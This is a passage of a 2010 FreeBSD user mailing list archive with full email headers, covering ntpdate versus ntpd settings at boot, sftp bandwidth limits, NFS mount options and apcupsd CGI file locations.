13:19:54 -0600 From: Programmer In Training User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.7) Gecko/20100203 Thunderbird/3.0.1 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> <4B9BD37E.1060801@infracaninophile.co.uk> <20100313190838.2197cdc8@gumby.homeunix.com> In-Reply-To: <20100313190838.2197cdc8@gumby.homeunix.com> X-Enigmail-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigEB22C9724958B9CA512434A4" X-Identified-User: {2250:box264.bluehost.com:ameliora:joseph-a-nagy-jr.us} {sentby:smtp auth 206.74.86.236 authed with pit@joseph-a-nagy-jr.us} Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 19:20:10 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigEB22C9724958B9CA512434A4 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On 03/13/10 13:08, RW wrote: > ntpd_sync_on_start=3D"YES" > you can run ntpdate at boot with >=20 > ntpdate_enable=3DYES >=20 > the rc script gets the servers from ntp.conf Can you have both in rc.conf without abusing the ntp server(s) or should it just be one or the other? I'd like my clock to be as accurate as possible when I start up the system. --=20 Yours In Christ, PIT Emails are not formal business letters, whatever businesses may want. Original content copyright under the OWL http://owl.apotheon.org Please do not CC me. If I'm posting to a list it is because I am subscrib= ed. --------------enigEB22C9724958B9CA512434A4 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAEBAgAGBQJLm+VnAAoJEENZQ8DH7rW0yzIH/RXIDN5K7shbxLkZUNLDgj08 YLn31yfKKdH7YZVDhuZJwW2/zg1ryImJPlujYv6NZavCkIkyg9JAdH1hWG5x3GDV iAEisRMS20aO5Nh/UwLaLfxkFFH8demXUijIoozLWpYHdIXvNdx7w1+Vy/yMfBw4 z0osi2u/BylOZiCyE8lNtNwu4nhvu61xdGS7JRm/vi/2YmrG4ien1ogATIXqCqY3 t2LMmaNd86nss7ZUDOsVcMLAXsob2on/h9Z0Vg7UmCyOb8QlIF2J4M/H5A75egK6 SuuGKyTJl1abV5eP0AcDSJONkrzpFM0Lpfmd40HyLBJ/c9A0tA1IufGCZd7/2Gs= =xhZA -----END PGP SIGNATURE----- --------------enigEB22C9724958B9CA512434A4-- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 19:52:42 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EFB741065675 for ; Sat, 13 Mar 2010 19:52:42 +0000 (UTC) (envelope-from jonc@chen.org.nz) Received: from chen.org.nz (ip-58-28-152-174.static-xdsl.xnet.co.nz [58.28.152.174]) by mx1.freebsd.org (Postfix) with ESMTP id E2C0B8FC39 for ; Sat, 13 Mar 2010 19:52:41 +0000 (UTC) Received: by chen.org.nz (Postfix, from userid 1000) id EA4E7E0442; Sun, 14 Mar 2010 08:52:37 +1300 (NZDT) Date: Sun, 14 Mar 2010 08:52:37 +1300 From: Jonathan Chen To: Programmer In Training Message-ID: <20100313195237.GB59182@osiris.chen.org.nz> References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> <4B9BD37E.1060801@infracaninophile.co.uk> <20100313190838.2197cdc8@gumby.homeunix.com> <4B9BE55A.1000909@joseph-a-nagy-jr.us> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B9BE55A.1000909@joseph-a-nagy-jr.us> User-Agent: Mutt/1.4.2.3i Cc: freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 19:52:43 -0000 On Sat, Mar 13, 2010 at 01:19:54PM -0600, Programmer In Training wrote: > On 03/13/10 13:08, RW wrote: > > > ntpd_sync_on_start="YES" > > > you can run ntpdate at boot with > > > > ntpdate_enable=YES > > > > the rc script gets the servers from ntp.conf > > Can you have both in rc.conf without abusing the ntp server(s) or should > it just be one or the other? I'd like my clock to be as accurate as > possible when I start up the system. Yes. I have both enabled on my multi-boot laptop to account to huge jumps in time when coming back from Windows. -- Jonathan Chen ---------------------------------------------------------------------- char *p="char *p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 20:22:52 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AE9AB106564A for ; Sat, 13 Mar 2010 20:22:52 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 37E6E8FC18 for ; Sat, 13 Mar 2010 20:22:52 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.187.76.163]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.4/8.14.4) with ESMTP id o2DKMj12030473 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sat, 13 Mar 2010 20:22:46 GMT (envelope-from m.seaman@infracaninophile.co.uk) Message-ID: <4B9BF415.4030006@infracaninophile.co.uk> Date: Sat, 13 Mar 2010 20:22:45 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-GB; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: RW References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> <86r5npun1e.fsf@blue.stonehenge.com> <3f1c29e71003130647x8e78411w82fcdde6f1f78479@mail.gmail.com> <4B9BD37E.1060801@infracaninophile.co.uk> <20100313190838.2197cdc8@gumby.homeunix.com> In-Reply-To: <20100313190838.2197cdc8@gumby.homeunix.com> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: clamav-milter 0.95.3 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_ADSP_ALL, SPF_FAIL autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 20:22:52 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 13/03/2010 19:08:38, RW wrote: > ntpd_sync_on_start="YES" > > is not a complete substitute for running ntpdate at startup. It allows > ntpd to make a large correction, but it doesn't block the boot sequence > so you could still get a large step-change later-on when your daemons > are starting-up. Been there, done that and spent many hours cursing dovecot, which just dies on its arse if the clock does anything it doesn't approve of -- the biggest flaw in an otherwise excellent program IMHO. > ntpd has an option to emulate ntpdate, but it holds-up the > boot-sequence much longer - presumably this is why ntpdate has been > deprecated for a long time but hasn't yet gone away. There's a trick that can be used to get round this, which is to use the iburst option within ntp.conf. Some NTP servers don't like having it used against them, and will refuse to serve you, but you only need it on one or two of the server lines in your config file. Eg: server time.example.com iburst maxpoll 10 restrict time.example.com nomodify nopeer noquery notrap (The restrict line is an example of good practice, but strictly irrelevant to this argument.) iburst speeds up the initial synchronisation by sending a sequence of 8 query packets at 2 second intervals, rather than the standard 64s between packets you get otherwise. With this in place I've never had a problem with the clock being stepped after the rest of the system is up and causing mayhem for other programs, nor have I needed to run ntpdate(8) -- it even seems to work for virtual machines that can end up missing many hours when the lappy goes to sleep. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.14 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkub9BUACgkQ8Mjk52CukIzOfQCbBJfVvtj7gnwwGztSwYZW5HYs khAAn2Y20P6zl54+7WK+KdM3jlrzIbA4 =QYrF -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 20:44:22 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 86BAD106564A for ; Sat, 13 Mar 2010 20:44:22 +0000 (UTC) (envelope-from tfcheng@gmail.com) Received: from mail-yx0-f201.google.com (mail-yx0-f201.google.com [209.85.210.201]) by mx1.freebsd.org (Postfix) with ESMTP id 464928FC25 for ; Sat, 13 Mar 2010 20:44:22 +0000 (UTC) Received: by yxe39 with SMTP id 39so958037yxe.3 for ; Sat, 13 Mar 2010 12:44:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=fzUIov4kFz9WnbZpiztKYYGQDtx1IddXJYtxo/WuheU=; b=u/FhEea+tVH4qtZ1Gr9WxxLh0mYPX0B6CtnXLfIkDdol1TTbP2tYFUvt71iMZOPuMh /t/AWD9uWSnCUUnGxGAadHV/srKkvbpvxd3eSe/EcUek5/BuAwQ/0rzTCVpjPGFem62j TDwqdZw/OZI+UTZP5AKdSfiXHU5SYacyPk7CI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=MBy14h9xAtEOABE2lYRvCtQRTDEmr+RT4IcjPjYETkfUCSK4n17zIXPJSygIUWX8MP GsAePZ5zlAZU7uNvawnG3amog+ROPww+DYd1SfWmewV4pcZ1F6oKP5WTk8H8y4z8QNtI 4yaSj5Uzgz2qNZTZTZhhwuCiIbjs+AO69kmfY= MIME-Version: 1.0 Received: by 10.90.61.31 with SMTP id j31mr2636753aga.58.1268513061511; Sat, 13 Mar 2010 12:44:21 -0800 (PST) Date: Sat, 13 Mar 2010 15:44:21 -0500 Message-ID: From: Tsu-Fan Cheng To: FreeBSD Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: limit bandwidth on sftp X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 20:44:22 -0000 Hi, I need to limit my sftp session bandwidth to 20K, can someone show me how to do it? thank you! TFC From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 23:28:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7E8C6106564A for ; Sat, 13 Mar 2010 23:28:37 +0000 (UTC) (envelope-from joe@netmusician.org) Received: from mail.netmusician.org (dorian.netmusician.org [66.244.95.101]) by mx1.freebsd.org (Postfix) with ESMTP id 2F7858FC1A for ; Sat, 13 Mar 2010 23:28:36 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by mail.netmusician.org (Postfix) with ESMTP id C3BBCB88A for ; Sat, 13 Mar 2010 18:22:52 -0500 (EST) X-Virus-Scanned: amavisd-new at netmusician.org Received: from mail.netmusician.org ([127.0.0.1]) by localhost (dorian.netmusician.org [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id szM94itOzHMq for ; Sat, 13 Mar 2010 18:22:52 -0500 (EST) Received: from Shakti.local (c-67-176-145-181.hsd1.in.comcast.net [67.176.145.181]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.netmusician.org (Postfix) with ESMTPSA id 204CBB874 for ; Sat, 13 Mar 2010 18:22:52 -0500 (EST) Message-ID: <4B9C1E4B.9090507@netmusician.org> Date: Sat, 13 Mar 2010 18:22:51 -0500 From: Joe Auty User-Agent: Postbox 1.1.2 (Macintosh/20100308) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4B9C1D41.5000007@netmusician.org> In-Reply-To: <4B9C1D41.5000007@netmusician.org> X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: fstab NFS mount option recommendations X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 23:28:37 -0000 Forgot to add, I also need to do some NFS mounts from my VM host which is hosted on CentOS. I know that this isn't a Linux based list, but if you could kindly keep the information about wsize and rsize numbers general enough so that I can apply this knowledge to my Linux box, that would be great :) A lot of online resources I've come across suggest using various numbers, but I don't really understand how these number are derived or if they are even necessary at all... Joe Auty wrote: > Hello, > > I'm presenting NFS shares to some FreeBSD VM guests with the following > mount options (from my /etc/fstab): > > nfsserverip:mymount /mountdir nfs > rw,tcp,intr,noatime,nfsv3,-w=32768,-r=32768 0 0 > > > This seems to work well, except I have to manually load MySQL, Apache, > and Postfix at boot time, as my /usr/local directory is hosted on my > NFS share on this test server (these start up normally when /usr/local > resides on a local hard drive). Is it generally a bad idea to host a > share like this on NFS? I'm thinking that it probably is and am happy > to serve this locally if this would be better. However, if this is not > a red flag and there is a way to get these services to start up on > their own at boot, could you please let me know? > > How about the wsize and rsize numbers? I was unable to find any > resources for determining what these numbers best be set as for > FreeBSD as a VM guest. Any pointers? > > > > > Thanks in advance for your help! > > > -- > Joe Auty, NetMusician > NetMusician helps musicians, bands and artists create beautiful, > professional, custom designed, career-essential websites that are easy > to maintain and to integrate with popular social networks. > www.netmusician.org > joe@netmusician.org > -- Joe Auty, NetMusician NetMusician helps musicians, bands and artists create beautiful, professional, custom designed, career-essential websites that are easy to maintain and to integrate with popular social networks. www.netmusician.org joe@netmusician.org From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 23:33:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 007F4106566C for ; Sat, 13 Mar 2010 23:33:37 +0000 (UTC) (envelope-from joe@netmusician.org) Received: from mail.netmusician.org (dorian.netmusician.org [66.244.95.101]) by mx1.freebsd.org (Postfix) with ESMTP id C080F8FC17 for ; Sat, 13 Mar 2010 23:33:36 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by mail.netmusician.org (Postfix) with ESMTP id 4C181B87D for ; Sat, 13 Mar 2010 18:18:27 -0500 (EST) X-Virus-Scanned: amavisd-new at netmusician.org Received: from mail.netmusician.org ([127.0.0.1]) by localhost (dorian.netmusician.org [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id VoPXCw8Zx9kH for ; Sat, 13 Mar 2010 18:18:27 -0500 (EST) Received: from Shakti.local (c-67-176-145-181.hsd1.in.comcast.net [67.176.145.181]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.netmusician.org (Postfix) with ESMTPSA id 92134B874 for ; Sat, 13 Mar 2010 18:18:26 -0500 (EST) Message-ID: <4B9C1D41.5000007@netmusician.org> Date: Sat, 13 Mar 2010 18:18:25 -0500 From: Joe Auty User-Agent: Postbox 1.1.2 (Macintosh/20100308) MIME-Version: 1.0 To: freebsd-questions@freebsd.org X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: fstab NFS mount option recommendations X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 23:33:37 -0000 Hello, I'm presenting NFS shares to some FreeBSD VM guests with the following mount options (from my /etc/fstab): nfsserverip:mymount /mountdir nfs rw,tcp,intr,noatime,nfsv3,-w=32768,-r=32768 0 0 This seems to work well, except I have to manually load MySQL, Apache, and Postfix at boot time, as my /usr/local directory is hosted on my NFS share on this test server (these start up normally when /usr/local resides on a local hard drive). Is it generally a bad idea to host a share like this on NFS? I'm thinking that it probably is and am happy to serve this locally if this would be better. However, if this is not a red flag and there is a way to get these services to start up on their own at boot, could you please let me know? How about the wsize and rsize numbers? I was unable to find any resources for determining what these numbers best be set as for FreeBSD as a VM guest. Any pointers? Thanks in advance for your help! -- Joe Auty, NetMusician NetMusician helps musicians, bands and artists create beautiful, professional, custom designed, career-essential websites that are easy to maintain and to integrate with popular social networks. www.netmusician.org joe@netmusician.org From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 23:33:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 29A24106567D for ; Sat, 13 Mar 2010 23:33:57 +0000 (UTC) (envelope-from richard@inf.ed.ac.uk) Received: from nougat.ucs.ed.ac.uk (nougat.ucs.ed.ac.uk [129.215.13.205]) by mx1.freebsd.org (Postfix) with ESMTP id A19B28FC2A for ; Sat, 13 Mar 2010 23:33:56 +0000 (UTC) Received: from nutty.inf.ed.ac.uk (nutty.inf.ed.ac.uk [129.215.33.33]) by nougat.ucs.ed.ac.uk (8.13.8/8.13.4) with ESMTP id o2DMoxFI009449 for ; Sat, 13 Mar 2010 22:50:59 GMT Received: from macpro.inf.ed.ac.uk (macpro.inf.ed.ac.uk [129.215.197.24]) by nutty.inf.ed.ac.uk (8.13.8/8.13.8) with ESMTP id o2DMox1V025873 for ; Sat, 13 Mar 2010 22:50:59 GMT Received: by macpro.inf.ed.ac.uk (Postfix, from userid 26013) id 158207FE98D; Sat, 13 Mar 2010 22:50:59 +0000 (GMT) From: Richard Tobin To: freebsd-questions@freebsd.org Organization: just say no X-Mailer: Ream 5.1.51-richard-mac Message-Id: <20100313225059.158207FE98D@macpro.inf.ed.ac.uk> Date: Sat, 13 Mar 2010 22:50:59 +0000 (GMT) X-Edinburgh-Scanned: at nougat.ucs.ed.ac.uk with MIMEDefang 2.60, Sophie, Sophos Anti-Virus, Clam AntiVirus Content-Type: text/plain MIME-Version: 1.0 Content-Disposition: inline X-Scanned-By: MIMEDefang 2.60 on 129.215.13.205 Subject: FreeBSD on Panasonic TV X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 23:33:57 -0000 I was interested to see that my Panasonic television displays a FreeBSD copyright notice. Does anybody know how much of FreeBSD it uses? (It apparently uses a UFS filesystem on disks attached for video recording.) -- Richard -- The University of Edinburgh is a charitable body, registered in Scotland, with registration number SC005336. From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 23:41:07 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F03A1106564A for ; Sat, 13 Mar 2010 23:41:07 +0000 (UTC) (envelope-from frank@shute.org.uk) Received: from atmail-9.bnguk.net (atmail-9.bnguk.net [80.74.253.9]) by mx1.freebsd.org (Postfix) with ESMTP id ABBDC8FC18 for ; Sat, 13 Mar 2010 23:41:07 +0000 (UTC) Received: from 77-44-105-82.xdsl.murphx.net ([77.44.105.82] helo=orange.esperance-linux.co.uk) by atmail-9.bnguk.net with esmtp (Exim 4.69) (envelope-from ) id 1Nqaww-00048S-Ow; Sat, 13 Mar 2010 23:40:54 +0000 Received: by orange.esperance-linux.co.uk (Postfix, from userid 1001) id 6FA334AC20; Sat, 13 Mar 2010 23:40:54 +0000 (GMT) Date: Sat, 13 Mar 2010 23:40:54 +0000 From: Frank Shute To: =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= Message-ID: <20100313234054.GA75608@orange.esperance-linux.co.uk> Mail-Followup-To: =?iso-8859-1?Q?D=E1nielisz_L=E1szl=F3?= , freebsd-questions@freebsd.org References: <585953.49328.qm@web30802.mail.mud.yahoo.com> <19353.1250.790769.882792@jerusalem.litteratus.org> <103699.13780.qm@web30805.mail.mud.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <103699.13780.qm@web30805.mail.mud.yahoo.com> User-Agent: Mutt/1.4.2.3i X-Face: *}~{PHnDTzvXPe'wl_-f%!@+r5; VLhb':*DsX%wEOPg\fDrXWQJf|2\,92"DdS%63t*BHDyQ|OWo@Gfjcd72eaN!4%NE{0]p)ihQ1MyFNtWL X-Operating-System: FreeBSD 8.0-RELEASE-p2 amd64 X-Organisation: 'shute.org.uk' Cc: freebsd-questions@freebsd.org Subject: Re: multimon.cgi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Frank Shute List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 23:41:08 -0000 On Thu, Mar 11, 2010 at 07:05:00AM -0800, Dnielisz Lszl wrote: > > Great, you done that before! > > It helps but I still don't know where can I found the *.cgi files so > I can copy them to the proper apache directory, do you know? > $ pkg_info -L apcupsd-3.14.5_1 | grep cgi /usr/local/etc/apcupsd/cgi/multimon.cgi /usr/local/etc/apcupsd/cgi/upsfstats.cgi /usr/local/etc/apcupsd/cgi/upsimage.cgi /usr/local/etc/apcupsd/cgi/upsstats.cgi Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html